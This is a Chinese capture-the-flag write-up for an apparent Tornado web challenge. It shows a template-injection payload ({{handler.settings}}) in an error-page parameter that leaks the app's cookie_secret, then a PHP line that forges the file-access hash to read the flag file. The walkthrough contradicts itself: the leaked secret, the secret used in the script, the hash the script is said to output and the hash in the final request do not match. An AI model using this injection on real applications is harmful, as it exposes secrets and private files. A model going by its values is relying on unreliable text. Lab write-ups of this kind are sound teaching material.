1
2
3
/flag.txt
/welcome.txt
/hints.txt

一进来就显示了三个文件链接,逐个点击可以看到这些信息

1
2
3
4
5
6
7
8
/flag.txt
flag in /fllllllllllllag

/welcome.txt
render

/hints.txt
md5(cookie_secret+md5(filename))

在我点击/hints.txt链接时查看url,发现有两个参数

1
/file?filename=/hints.txt&filehash=05b55adc14442d7cfe3e7632f6abd0c7

一个是文件路径,一个是一串32为十六进制字符串,根据hint.txt文件名可以判断这串是一个md5加密

当我觉得要爆破cookie_secret时突然发现,如果md5(cookie_secret+md5(filename))生成的值和文件名不对应时会跳转的error路由

1
/error?msg=Error

在这里发现有一个传参是msg,从题目的名字可以看出这个题目是一个tornado框架,我们可以试试tornado模板注入

1
ORZ

在这里发现传入’,”,*,(,)都只会响应三个字符,判断这是被过滤了,我们查看一下配置

1
2
3
4
/error?msg={{handler.settings}}

响应:
{'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '044afd92-ce27-41f7-8cfd-d4f995eabc86'}

这里得到了cookie_secret就好办了

写一个hash生成脚本

1
2
3
<?php

echo md5("95c654c1-e316-4e16-95ea-abce3f7b14e4" . md5("/fllllllllllllag"));

得到bca10042184e7b972e570234cb668162

1
2
3
4
5
6
/file?filename=/fllllllllllllag&filehash=3a9dd97d1bb2b20141f6739f9f65748b

响应

/fllllllllllllag
flag{4d5cc285-8ff4-44cf-962d-fef255d3d318}